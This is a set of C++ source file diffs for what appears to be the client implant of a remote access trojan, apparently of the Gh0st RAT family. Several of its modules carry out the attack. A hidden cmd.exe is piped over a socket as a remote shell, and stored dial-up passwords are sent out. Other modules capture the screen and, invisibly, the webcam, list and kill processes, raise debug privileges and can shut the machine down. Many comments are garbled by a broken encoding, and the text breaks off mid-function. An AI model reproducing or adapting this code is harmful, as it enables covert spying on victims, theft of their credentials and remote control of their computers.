// <20><><EFBFBD><EFBFBD>Dest<73>е<EFBFBD><D0B5><EFBFBD><EFBFBD><EFBFBD>
*p1 = *p2;
*(LPDWORD)(lpBuffer + nDataOffset + nCount) = *p2;
nCount += 4;
i += 4, p1++, p2++;
for (int j = i; j < dwSize; j += 4, i += 4, p1++, p2++)
{
if (*p1 == *p2)
break;
// <20><><EFBFBD><EFBFBD>Dest<73>е<EFBFBD><D0B5><EFBFBD><EFBFBD><EFBFBD>
*p1 = *p2;
*(LPDWORD)(lpBuffer + nDataOffset + nCount) = *p2;
nCount += 4;
}
// д<><D0B4><EFBFBD><EFBFBD><EFBFBD>ݳ<EFBFBD><DDB3><EFBFBD>
*(LPDWORD)(lpBuffer + nBytesOffset) = nCount;
nOffsetOffset = nDataOffset + nCount;
}
// nOffsetOffset <20><><EFBFBD><EFBFBD>д<EFBFBD><D0B4><EFBFBD><EFBFBD><EFBFBD>ܴ<EFBFBD>С
return nOffsetOffset;
// <09>о<EFBFBD><D0BE><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ٶȻ<D9B6>û<EFBFBD><C3BB>C<EFBFBD><EFBFBD><EFBFBD><ECA3AC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// int Bytes = 0;
// __asm
// {
// mov esi, [lpSource]
// mov edi, [lpDest]
// mov ebx, [lpBuffer]
// xor ecx, ecx
// jmp short Loop_Compare // <20><>ʼ<EFBFBD><CABC><EFBFBD>бȽ<D0B1>
// Loop_Compare_Continue:
// mov eax, dword ptr [esi]
// cmp eax, dword ptr [edi]
// je short Loop_Compare_Equal // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>, <20><><EFBFBD><EFBFBD><EFBFBD>Ƚ<EFBFBD>
// mov [edi], eax // д<>벻ͬ<EBB2BB><CDAC><EFBFBD><EFBFBD><EFBFBD>ݵ<EFBFBD>Ŀ<EFBFBD><C4BF><EFBFBD><EFBFBD>
// mov edx, ebx // edx <20><>¼<EFBFBD><C2BC>һ<EFBFBD><D2BB><EFBFBD><EFBFBD>ͬ<EFBFBD><CDAC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʼλ<CABC><CEBB>
// mov dword ptr [ebx], ecx
// add ebx, 8
// mov dword ptr [ebx], eax
// add ebx, 4
// add esi, 4
// add edi, 4
// add ecx, 4
// jmp short Loop_Block_Compare // <20><><EFBFBD>ݲ<EFBFBD>ͬ<EFBFBD><CDAC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><E9A3AC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>бȽ<D0B1>
// Loop_Block_Compare_Continue:
// mov eax, dword ptr [esi]
// cmp eax, dword ptr [edi]
// jnz short Loop_Block_Compare_Not_Equal // <20><><EFBFBD>ݲ<EFBFBD><DDB2><EFBFBD><EFBFBD>ȣ<EFBFBD>д<EFBFBD><D0B4>
// mov eax, ecx
// sub eax, dword ptr [edx]
// add edx, 4
// mov dword ptr [edx], eax
// add eax, 8
// add [Bytes], eax
// add esi, 4
// add edi, 4
// add ecx, 4
// jmp short Loop_Block_Compare_Finish
// Loop_Block_Compare_Not_Equal:
// mov dword ptr [ebx], eax
// mov [edi], eax // д<>벻ͬ<EBB2BB><CDAC><EFBFBD><EFBFBD><EFBFBD>ݵ<EFBFBD>Ŀ<EFBFBD><C4BF><EFBFBD><EFBFBD>
// add ebx, 4
// add esi, 4
// add edi, 4
// add ecx, 4
// Loop_Block_Compare:
// cmp ecx, [dwSize]
// jb short Loop_Block_Compare_Continue
// Loop_Block_Compare_Finish:
// cmp ecx, [dwSize]
// jnz short Loop_Compare
// mov eax, ecx
// sub eax, dword ptr [edx]
// add edx, 4
// mov dword ptr [edx], eax
// add eax, 8
// add [Bytes], eax
// jmp short Loop_Compare
// Loop_Compare_Equal:
// add esi, 4
// add edi, 4
// add ecx, 4
// Loop_Compare:
// cmp ecx, [dwSize]
// jb short Loop_Compare_Continue
// }
// return Bytes;
}

View File

@@ -0,0 +1,64 @@
// ScreenSpy.h: interface for the CScreenSpy class.
//
//////////////////////////////////////////////////////////////////////
#if !defined(AFX_SCREENSPY_H__6600B30F_A7E3_49D4_9DE6_9C35E71CE3EE__INCLUDED_)
#define AFX_SCREENSPY_H__6600B30F_A7E3_49D4_9DE6_9C35E71CE3EE__INCLUDED_
#include <windows.h>
#include "CursorInfo.h"
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
// <20><><EFBFBD><EFBFBD><EFBFBD>
#define ALGORITHM_SCAN 1 // <20>ٶȺܿ죬<DCBF><ECA3AC><EFBFBD><EFBFBD>Ƭ̫<C6AC><CCAB>
#define ALGORITHM_DIFF 2 // <20>ٶȺ<D9B6><C8BA><EFBFBD><EFBFBD><EFBFBD>ҲռCPU<50><55><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>С<EFBFBD><D0A1>
class CScreenSpy
{
public:
CScreenSpy(int biBitCount= 8, bool bIsGray= false, UINT nMaxFrameRate = 100);
virtual ~CScreenSpy();
LPVOID getFirstScreen();
LPVOID getNextScreen(LPDWORD lpdwBytes);
void setAlgorithm(UINT nAlgorithm);
LPBITMAPINFO getBI();
UINT getBISize();
UINT getFirstImageSize();
void setCaptureLayer(bool bIsCaptureLayer);
private:
BYTE m_bAlgorithm;
UINT m_nMaxFrameRate;
bool m_bIsGray;
DWORD m_dwBitBltRop;
DWORD m_dwLastCapture;
DWORD m_dwSleep;
LPBYTE m_rectBuffer;
UINT m_rectBufferOffset;
BYTE m_nIncSize;
int m_nFullWidth, m_nFullHeight, m_nStartLine;
RECT m_changeRect;
HDC m_hFullDC, m_hLineMemDC, m_hFullMemDC, m_hRectMemDC;
HBITMAP m_hLineBitmap, m_hFullBitmap;
LPVOID m_lpvLineBits, m_lpvFullBits;
LPBITMAPINFO m_lpbmi_line, m_lpbmi_full, m_lpbmi_rect;
int m_biBitCount;
int m_nDataSizePerLine;
LPVOID m_lpvDiffBits; // <20><><EFBFBD><EFBFBD><EFBFBD>Ƚϵ<C8BD><CFB5><EFBFBD>һ<EFBFBD><D2BB>
HDC m_hDiffDC, m_hDiffMemDC;
HBITMAP m_hDiffBitmap;
CCursorInfo m_CursorInfo;
void ScanScreen(HDC hdcDest, HDC hdcSrc, int nWidth, int nHeight); // <20><><EFBFBD><EFBFBD>CPU
int Compare(LPBYTE lpSource, LPBYTE lpDest, LPBYTE lpBuffer, DWORD dwSize);
LPBITMAPINFO ConstructBI(int biBitCount, int biWidth, int biHeight);
void WriteRectBuffer(LPBYTE lpData, int nCount);
bool ScanChangedRect(int nStartLine);
void CopyRect(LPRECT lpRect);
bool SelectInputWinStation();
HWND m_hDeskTopWnd;
};
#endif // !defined(AFX_SCREENSPY_H__6600B30F_A7E3_49D4_9DE6_9C35E71CE3EE__INCLUDED_)

View File

@@ -0,0 +1,148 @@
// ShellManager.cpp: implementation of the CShellManager class.
//
//////////////////////////////////////////////////////////////////////
#include "ShellManager.h"
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CShellManager::CShellManager(CClientSocket *pClient):CManager(pClient)
{
SECURITY_ATTRIBUTES sa = {0};
STARTUPINFO si = {0};
PROCESS_INFORMATION pi = {0};
char strShellPath[MAX_PATH] = {0};
m_hReadPipeHandle = NULL;
m_hWritePipeHandle = NULL;
m_hReadPipeShell = NULL;
m_hWritePipeShell = NULL;
sa.nLength = sizeof(sa);
sa.lpSecurityDescriptor = NULL;
sa.bInheritHandle = TRUE;
if(!CreatePipe(&m_hReadPipeHandle, &m_hWritePipeShell, &sa, 0))
{
if(m_hReadPipeHandle != NULL) CloseHandle(m_hReadPipeHandle);
if(m_hWritePipeShell != NULL) CloseHandle(m_hWritePipeShell);
return;
}
if(!CreatePipe(&m_hReadPipeShell, &m_hWritePipeHandle, &sa, 0))
{
if(m_hWritePipeHandle != NULL) CloseHandle(m_hWritePipeHandle);
if(m_hReadPipeShell != NULL) CloseHandle(m_hReadPipeShell);
return;
}
memset((void *)&si, 0, sizeof(si));
memset((void *)&pi, 0, sizeof(pi));
GetStartupInfo(&si);
si.cb = sizeof(STARTUPINFO);
si.wShowWindow = SW_HIDE;
si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
si.hStdInput = m_hReadPipeShell;
si.hStdOutput = si.hStdError = m_hWritePipeShell;
GetSystemDirectory(strShellPath, MAX_PATH);
strcat(strShellPath,"\\cmd.exe");
if (!CreateProcess(strShellPath, NULL, NULL, NULL, TRUE,
NORMAL_PRIORITY_CLASS, NULL, NULL, &si, &pi))
{
CloseHandle(m_hReadPipeHandle);
CloseHandle(m_hWritePipeHandle);
CloseHandle(m_hReadPipeShell);
CloseHandle(m_hWritePipeShell);
return;
}
m_hProcessHandle = pi.hProcess;
m_hThreadHandle = pi.hThread;
BYTE bToken = TOKEN_SHELL_START;
Send((LPBYTE)&bToken, 1);
WaitForDialogOpen();
m_hThreadRead = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ReadPipeThread, (LPVOID)this, 0, NULL);
m_hThreadMonitor = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)MonitorThread, (LPVOID)this, 0, NULL);
}
CShellManager::~CShellManager()
{
TerminateThread(m_hThreadRead, 0);
TerminateProcess(m_hProcessHandle, 0);
TerminateThread(m_hThreadHandle, 0);
WaitForSingleObject(m_hThreadMonitor, 2000);
TerminateThread(m_hThreadMonitor, 0);
if (m_hReadPipeHandle != NULL)
DisconnectNamedPipe(m_hReadPipeHandle);
if (m_hWritePipeHandle != NULL)
DisconnectNamedPipe(m_hWritePipeHandle);
if (m_hReadPipeShell != NULL)
DisconnectNamedPipe(m_hReadPipeShell);
if (m_hWritePipeShell != NULL)
DisconnectNamedPipe(m_hWritePipeShell);
CloseHandle(m_hReadPipeHandle);
CloseHandle(m_hWritePipeHandle);
CloseHandle(m_hReadPipeShell);
CloseHandle(m_hWritePipeShell);
CloseHandle(m_hProcessHandle);
CloseHandle(m_hThreadHandle);
CloseHandle(m_hThreadMonitor);
CloseHandle(m_hThreadRead);
}
void CShellManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
if (nSize == 1 && lpBuffer[0] == COMMAND_NEXT)
{
NotifyDialogIsOpen();
return;
}
unsigned long ByteWrite;
WriteFile(m_hWritePipeHandle, lpBuffer, nSize, &ByteWrite, NULL);
}
DWORD WINAPI CShellManager::ReadPipeThread(LPVOID lparam)
{
unsigned long BytesRead = 0;
char ReadBuff[1024];
DWORD TotalBytesAvail;
CShellManager *pThis = (CShellManager *)lparam;
while (1)
{
Sleep(100);
while (PeekNamedPipe(pThis->m_hReadPipeHandle, ReadBuff, sizeof(ReadBuff), &BytesRead, &TotalBytesAvail, NULL))
{
if (BytesRead <= 0)
break;
memset(ReadBuff, 0, sizeof(ReadBuff));
LPBYTE lpBuffer = (LPBYTE)LocalAlloc(LPTR, TotalBytesAvail);
ReadFile(pThis->m_hReadPipeHandle, lpBuffer, TotalBytesAvail, &BytesRead, NULL);
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
pThis->Send(lpBuffer, BytesRead);
LocalFree(lpBuffer);
}
}
return 0;
}
DWORD WINAPI CShellManager::MonitorThread(LPVOID lparam)
{
CShellManager *pThis = (CShellManager *)lparam;
HANDLE hThread[2];
hThread[0] = pThis->m_hProcessHandle;
hThread[1] = pThis->m_hThreadRead;
WaitForMultipleObjects(2, hThread, FALSE, INFINITE);
TerminateThread(pThis->m_hThreadRead, 0);
TerminateProcess(pThis->m_hProcessHandle, 1);
pThis->m_pClient->Disconnect();
return 0;
}

View File

@@ -0,0 +1,35 @@
// ShellManager.h: interface for the CShellManager class.
//
//////////////////////////////////////////////////////////////////////
#if !defined(AFX_SHELLMANAGER_H__CCDCEFAB_AFD9_4F2C_A633_637ECB94B6EE__INCLUDED_)
#define AFX_SHELLMANAGER_H__CCDCEFAB_AFD9_4F2C_A633_637ECB94B6EE__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#include "Manager.h"
class CShellManager : public CManager
{
public:
CShellManager(CClientSocket *pClient);
virtual ~CShellManager();
virtual void OnReceive(LPBYTE lpBuffer, UINT nSize);
private:
HANDLE m_hReadPipeHandle;
HANDLE m_hWritePipeHandle;
HANDLE m_hReadPipeShell;
HANDLE m_hWritePipeShell;
HANDLE m_hProcessHandle;
HANDLE m_hThreadHandle;
HANDLE m_hThreadRead;
HANDLE m_hThreadMonitor;
static DWORD WINAPI ReadPipeThread(LPVOID lparam);
static DWORD WINAPI MonitorThread(LPVOID lparam);
};
#endif // !defined(AFX_SHELLMANAGER_H__CCDCEFAB_AFD9_4F2C_A633_637ECB94B6EE__INCLUDED_)

View File

@@ -0,0 +1,255 @@
// SystemManager.cpp: implementation of the CSystemManager class.
//
//////////////////////////////////////////////////////////////////////
#include "SystemManager.h"
#include "Dialupass.h"
#include <tlhelp32.h>
#include <psapi.h>
#include <iphlpapi.h>
#pragma comment(lib,"Iphlpapi.lib")
#pragma comment(lib,"Psapi.lib")
#include "until.h"
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CSystemManager::CSystemManager(CClientSocket *pClient) : CManager(pClient)
{
SendProcessList();
}
CSystemManager::~CSystemManager()
{
}
void CSystemManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
SwitchInputDesktop();
switch (lpBuffer[0])
{
case COMMAND_PSLIST:
SendProcessList();
break;
case COMMAND_WSLIST:
SendWindowsList();
break;
case COMMAND_DIALUPASS:
SendDialupassList();
break;
case COMMAND_KILLPROCESS:
KillProcess((LPBYTE)lpBuffer + 1, nSize - 1);
default:
break;
}
}
void CSystemManager::SendProcessList()
{
UINT nRet = -1;
LPBYTE lpBuffer = getProcessList();
if (lpBuffer == NULL)
return;
Send((LPBYTE)lpBuffer, LocalSize(lpBuffer));
LocalFree(lpBuffer);
}
void CSystemManager::SendWindowsList()
{
UINT nRet = -1;
LPBYTE lpBuffer = getWindowsList();
if (lpBuffer == NULL)
return;
Send((LPBYTE)lpBuffer, LocalSize(lpBuffer));
LocalFree(lpBuffer);
}
void CSystemManager::SendDialupassList()
{
CDialupass pass;
int nPacketLen = 0;
for (int i = 0; i < pass.GetMax(); i++)
{
COneInfo *pOneInfo = pass.GetOneInfo(i);
for (int j = 0; j < STR_MAX; j++)
nPacketLen += lstrlen(pOneInfo->Get(j)) + 1;
}
nPacketLen += 1;
LPBYTE lpBuffer = (LPBYTE)LocalAlloc(LPTR, nPacketLen);
DWORD dwOffset = 1;
for (i = 0; i < pass.GetMax(); i++)
{
COneInfo *pOneInfo = pass.GetOneInfo(i);
for (int j = 0; j < STR_MAX; j++)
{
int nFieldLength = lstrlen(pOneInfo->Get(j)) + 1;
memcpy(lpBuffer + dwOffset, pOneInfo->Get(j), nFieldLength);
dwOffset += nFieldLength;
}
}
lpBuffer[0] = TOKEN_DIALUPASS;
Send((LPBYTE)lpBuffer, LocalSize(lpBuffer));
LocalFree(lpBuffer);
}
void CSystemManager::KillProcess(LPBYTE lpBuffer, UINT nSize)
{
HANDLE hProcess = NULL;
DebugPrivilege(SE_DEBUG_NAME, TRUE);
for (int i = 0; i < nSize; i += 4)
{
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, *(LPDWORD)(lpBuffer + i));
TerminateProcess(hProcess, 0);
CloseHandle(hProcess);
}
DebugPrivilege(SE_DEBUG_NAME, FALSE);
// <20><><EFBFBD><EFBFBD>Sleep<65>£<EFBFBD><C2A3><EFBFBD>ֹ<EFBFBD><D6B9><EFBFBD><EFBFBD>
Sleep(100);
// ˢ<>½<EFBFBD><C2BD><EFBFBD><EFBFBD>б<EFBFBD>
SendProcessList();
// ˢ<>´<EFBFBD><C2B4><EFBFBD><EFBFBD>б<EFBFBD>
SendWindowsList();
}
LPBYTE CSystemManager::getProcessList()
{
HANDLE hSnapshot = NULL;
HANDLE hProcess = NULL;
HMODULE hModules = NULL;
PROCESSENTRY32 pe32 = {0};
DWORD cbNeeded;
char strProcessName[MAX_PATH] = {0};
LPBYTE lpBuffer = NULL;
DWORD dwOffset = 0;
DWORD dwLength = 0;
DebugPrivilege(SE_DEBUG_NAME, TRUE);
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if(hSnapshot == INVALID_HANDLE_VALUE)
return NULL;
pe32.dwSize = sizeof(PROCESSENTRY32);
lpBuffer = (LPBYTE)LocalAlloc(LPTR, 1024);
lpBuffer[0] = TOKEN_PSLIST;
dwOffset = 1;
if(Process32First(hSnapshot, &pe32))
{
do
{
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pe32.th32ProcessID);
if ((pe32.th32ProcessID !=0 ) && (pe32.th32ProcessID != 4) && (pe32.th32ProcessID != 8))
{
EnumProcessModules(hProcess, &hModules, sizeof(hModules), &cbNeeded);
GetModuleFileNameEx(hProcess, hModules, strProcessName, sizeof(strProcessName));
// <20>˽<EFBFBD><CBBD><EFBFBD>ռ<EFBFBD><D5BC><EFBFBD><EFBFBD><EFBFBD>ݴ<EFBFBD>С
dwLength = sizeof(DWORD) + lstrlen(pe32.szExeFile) + lstrlen(strProcessName) + 2;
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̫С<CCAB><D0A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>·<EFBFBD><C2B7><EFBFBD><EFBFBD><EFBFBD>
if (LocalSize(lpBuffer) < (dwOffset + dwLength))
lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, (dwOffset + dwLength), LMEM_ZEROINIT|LMEM_MOVEABLE);
memcpy(lpBuffer + dwOffset, &(pe32.th32ProcessID), sizeof(DWORD));
dwOffset += sizeof(DWORD);
memcpy(lpBuffer + dwOffset, pe32.szExeFile, lstrlen(pe32.szExeFile) + 1);
dwOffset += lstrlen(pe32.szExeFile) + 1;
memcpy(lpBuffer + dwOffset, strProcessName, lstrlen(strProcessName) + 1);
dwOffset += lstrlen(strProcessName) + 1;
}
}
while(Process32Next(hSnapshot, &pe32));
}
lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, dwOffset, LMEM_ZEROINIT|LMEM_MOVEABLE);
DebugPrivilege(SE_DEBUG_NAME, FALSE);
CloseHandle(hSnapshot);
return lpBuffer;
}
bool CSystemManager::DebugPrivilege(const char *PName,BOOL bEnable)
{
BOOL bResult = TRUE;
HANDLE hToken;
TOKEN_PRIVILEGES TokenPrivileges;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hToken))
{
bResult = FALSE;
return bResult;
}
TokenPrivileges.PrivilegeCount = 1;
TokenPrivileges.Privileges[0].Attributes = bEnable ? SE_PRIVILEGE_ENABLED : 0;
LookupPrivilegeValue(NULL, PName, &TokenPrivileges.Privileges[0].Luid);
AdjustTokenPrivileges(hToken, FALSE, &TokenPrivileges, sizeof(TOKEN_PRIVILEGES), NULL, NULL);
if (GetLastError() != ERROR_SUCCESS)
{
bResult = FALSE;
}
CloseHandle(hToken);
return bResult;
}
void CSystemManager::ShutdownWindows( DWORD dwReason )
{
DebugPrivilege(SE_SHUTDOWN_NAME,TRUE);
ExitWindowsEx(dwReason, 0);
DebugPrivilege(SE_SHUTDOWN_NAME,FALSE);
}
bool CALLBACK CSystemManager::EnumWindowsProc(HWND hwnd, LPARAM lParam)
{
DWORD dwLength = 0;
DWORD dwOffset = 0;
DWORD dwProcessID = 0;
LPBYTE lpBuffer = *(LPBYTE *)lParam;
char strTitle[1024];
memset(strTitle, 0, sizeof(strTitle));
GetWindowText(hwnd, strTitle, sizeof(strTitle));
if (!IsWindowVisible(hwnd) || lstrlen(strTitle) == 0)
return true;
if (lpBuffer == NULL)
lpBuffer = (LPBYTE)LocalAlloc(LPTR, 1);
dwLength = sizeof(DWORD) + lstrlen(strTitle) + 1;
dwOffset = LocalSize(lpBuffer);
lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, dwOffset + dwLength, LMEM_ZEROINIT|LMEM_MOVEABLE);
GetWindowThreadProcessId(hwnd, (LPDWORD)(lpBuffer + dwOffset));
memcpy(lpBuffer + dwOffset + sizeof(DWORD), strTitle, lstrlen(strTitle) + 1);
*(LPBYTE *)lParam = lpBuffer;
return true;
}
LPBYTE CSystemManager::getWindowsList()
{
LPBYTE lpBuffer = NULL;
EnumWindows((WNDENUMPROC)EnumWindowsProc, (LPARAM)&lpBuffer);
lpBuffer[0] = TOKEN_WSLIST;
return lpBuffer;
}

View File

@@ -0,0 +1,33 @@
// SystemManager.h: interface for the CSystemManager class.
//
//////////////////////////////////////////////////////////////////////
#if !defined(AFX_SYSTEMMANAGER_H__26C71561_C37D_44F2_B69C_DAF907C04CBE__INCLUDED_)
#define AFX_SYSTEMMANAGER_H__26C71561_C37D_44F2_B69C_DAF907C04CBE__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#include "Manager.h"
class CSystemManager : public CManager
{
public:
CSystemManager(CClientSocket *pClient);
virtual ~CSystemManager();
virtual void OnReceive(LPBYTE lpBuffer, UINT nSize);
static bool DebugPrivilege(const char *PName,BOOL bEnable);
static bool CALLBACK EnumWindowsProc( HWND hwnd, LPARAM lParam);
static void ShutdownWindows(DWORD dwReason);
private:
LPBYTE getProcessList();
LPBYTE getWindowsList();
void SendProcessList();
void SendWindowsList();
void SendDialupassList();
void KillProcess(LPBYTE lpBuffer, UINT nSize);
};
#endif // !defined(AFX_SYSTEMMANAGER_H__26C71561_C37D_44F2_B69C_DAF907C04CBE__INCLUDED_)

View File

@@ -0,0 +1,170 @@
// VideoCap.cpp: implementation of the CVideoCap class.
//
//////////////////////////////////////////////////////////////////////
#include "VideoCap.h"
//#include "..\DynamicAPI.h"
#include "..\DynamicAPI.h"
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
bool CVideoCap::m_bIsConnected = false;
CVideoCap::CVideoCap()
{
// If FALSE, the system automatically resets the state to nonsignaled after a single waiting thread has been released.
m_hCaptureEvent = CreateEvent(NULL, FALSE, FALSE, NULL);
m_lpbmi = NULL;
m_lpDIB = NULL;
if (!IsWebCam() || m_bIsConnected)
return;
m_hWnd = CreateWindow("#32770", /* Dialog */ "", WS_POPUP, 0, 0, 0, 0, NULL, NULL, NULL, NULL);
m_hWndCap = capCreateCaptureWindow
(
"CVideoCap",
WS_CHILD | WS_VISIBLE,
0,
0,
0,
0,
m_hWnd,
0
);
}
CVideoCap::~CVideoCap()
{
if (m_bIsConnected)
{
capCaptureAbort(m_hWndCap);
capDriverDisconnect(m_hWndCap);
if (m_lpbmi)
delete m_lpbmi;
if (m_lpDIB)
delete m_lpDIB;
m_bIsConnected = false;
}
capSetCallbackOnError(m_hWndCap, NULL);
capSetCallbackOnFrame(m_hWndCap, NULL);
//DynamicAPI myApi;
//myApi.init_user32();
//myApi.pCloseWindowT(m_hWnd);
// myApi.pCloseWindowT(m_hWndCap);
DynamicAPI myApi;
myApi.init_user32();
myApi.pCloseWindowT(m_hWnd);
myApi.pCloseWindowT(m_hWndCap);
//CloseWindow(m_hWnd);
//CloseWindow(m_hWndCap);
CloseHandle(m_hCaptureEvent);
}
// <20>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>,<2C><><EFBFBD>õ<EFBFBD><C3B5><EFBFBD><EFBFBD><EFBFBD>ƵԴ<C6B5>Ի<EFBFBD><D4BB><EFBFBD>
LRESULT CALLBACK CVideoCap::capErrorCallback(HWND hWnd, int nID, LPCSTR lpsz)
{
return (LRESULT)TRUE;
}
LRESULT CALLBACK CVideoCap::FrameCallbackProc(HWND hWnd, LPVIDEOHDR lpVHdr)
{
try
{
CVideoCap *pThis = (CVideoCap *)capGetUserData(hWnd);
if (pThis != NULL)
{
memcpy(pThis->m_lpDIB, lpVHdr->lpData, pThis->m_lpbmi->bmiHeader.biSizeImage);
SetEvent(pThis->m_hCaptureEvent);
}
}catch(...){};
return 0;
}
bool CVideoCap::IsWebCam()
{
// <20>Ѿ<EFBFBD><D1BE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
if (m_bIsConnected)
return false;
bool bRet = false;
char lpszName[100], lpszVer[50];
for (int i = 0; i < 10 && !bRet; i++)
{
bRet = capGetDriverDescription(i, lpszName, sizeof(lpszName),
lpszVer, sizeof(lpszVer));
}
return bRet;
}
LPBYTE CVideoCap::GetDIB()
{
capGrabFrameNoStop(m_hWndCap);
DWORD dwRet = WaitForSingleObject(m_hCaptureEvent, 3000);
if (dwRet == WAIT_OBJECT_0)
return m_lpDIB;
else
return NULL;
}
bool CVideoCap::Initialize(int nWidth, int nHeight)
{
CAPTUREPARMS gCapTureParms ; //<2F><>Ƶ<EFBFBD><C6B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
CAPDRIVERCAPS gCapDriverCaps;
DWORD dwSize;
if (!IsWebCam())
return false;
capSetUserData(m_hWndCap, this);
capSetCallbackOnError(m_hWndCap, capErrorCallback);
if (!capSetCallbackOnFrame(m_hWndCap, FrameCallbackProc))
{
return false;
}
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͬ<EFBFBD><CDAC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
for (int i = 0; i < 10; i++)
{
if (capDriverConnect(m_hWndCap, i))
break;
}
if (i == 10)
return false;
dwSize = capGetVideoFormatSize(m_hWndCap);
m_lpbmi = new BITMAPINFO;
// M263ֻ֧<D6BB><D6A7>176*144 352*288 (352*288 24<32>ʵ<EFBFBD><CAB5><EFBFBD><EFBFBD><EFBFBD>ֻ֧<D6BB><D6A7>biPlanes = 1)
capGetVideoFormat(m_hWndCap, m_lpbmi, dwSize);
// <20><><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8><EFBFBD>Ĵ<EFBFBD>С
if (nWidth && nHeight)
{
m_lpbmi->bmiHeader.biWidth = nWidth;
m_lpbmi->bmiHeader.biHeight = nHeight;
m_lpbmi->bmiHeader.biPlanes = 1;
m_lpbmi->bmiHeader.biSizeImage = (((m_lpbmi->bmiHeader.biWidth * m_lpbmi->bmiHeader.biBitCount + 31) & ~31) >> 3) * m_lpbmi->bmiHeader.biHeight;
// ʵ<><CAB5><EFBFBD><EFBFBD>֪һЩ<D2BB><D0A9><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7>֧<EFBFBD><D6A7>ָ<EFBFBD><D6B8><EFBFBD>ķֱ<C4B7><D6B1><EFBFBD>
if (!capSetVideoFormat(m_hWndCap, m_lpbmi, sizeof(BITMAPINFO)))
return false;
}
m_lpDIB = new BYTE[m_lpbmi->bmiHeader.biSizeImage];
capDriverGetCaps(m_hWndCap, &gCapDriverCaps, sizeof(CAPDRIVERCAPS));
capOverlay(m_hWndCap, FALSE);
capPreview(m_hWndCap, FALSE);
capPreviewScale(m_hWndCap, FALSE);
m_bIsConnected = true;
return true;
}

View File

@@ -0,0 +1,31 @@
// VideoCap.h: interface for the CVideoCap class.
//
//////////////////////////////////////////////////////////////////////
#if !defined(AFX_VIDEOCAP_H__5D857DCE_D889_45B0_8A98_33E1DF64CDE3__INCLUDED_)
#define AFX_VIDEOCAP_H__5D857DCE_D889_45B0_8A98_33E1DF64CDE3__INCLUDED_
#include <windows.h>
#include <vfw.h>
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
class CVideoCap
{
public:
HANDLE m_hCaptureEvent;
LPBITMAPINFO m_lpbmi;
static bool IsWebCam();
bool Initialize(int nWidth = 0, int nHeight = 0);
LPBYTE GetDIB();
static LRESULT CALLBACK capErrorCallback(HWND hWnd, int nID, LPCSTR lpsz);
static LRESULT CALLBACK FrameCallbackProc(HWND hWnd, LPVIDEOHDR lpVHdr);
CVideoCap();
virtual ~CVideoCap();
private:
LPBYTE m_lpDIB;
HWND m_hWnd;
HWND m_hWndCap;
static bool m_bIsConnected;
};
#endif // !defined(AFX_VIDEOCAP_H__5D857DCE_D889_45B0_8A98_33E1DF64CDE3__INCLUDED_)

View File

@@ -0,0 +1,221 @@
// VideoManager.cpp: implementation of the CVideoManager class.
//
//////////////////////////////////////////////////////////////////////
#include "VideoManager.h"
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CVideoManager::CVideoManager(CClientSocket *pClient) : CManager(pClient)
{
m_pVideoCap = NULL;
m_pVideoCodec = NULL;
m_bIsWorking = true;
m_bIsCompress = true;
m_nVedioWidth = 0;
m_nVedioHeight = 0;
m_fccHandler = 0;
m_hWorkThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread, this, 0, NULL, true);
}
CVideoManager::~CVideoManager()
{
InterlockedExchange((LPLONG)&m_bIsWorking, false);
WaitForSingleObject(m_hWorkThread, INFINITE);
CloseHandle(m_hWorkThread);
}
void CVideoManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
switch (lpBuffer[0])
{
case COMMAND_NEXT:
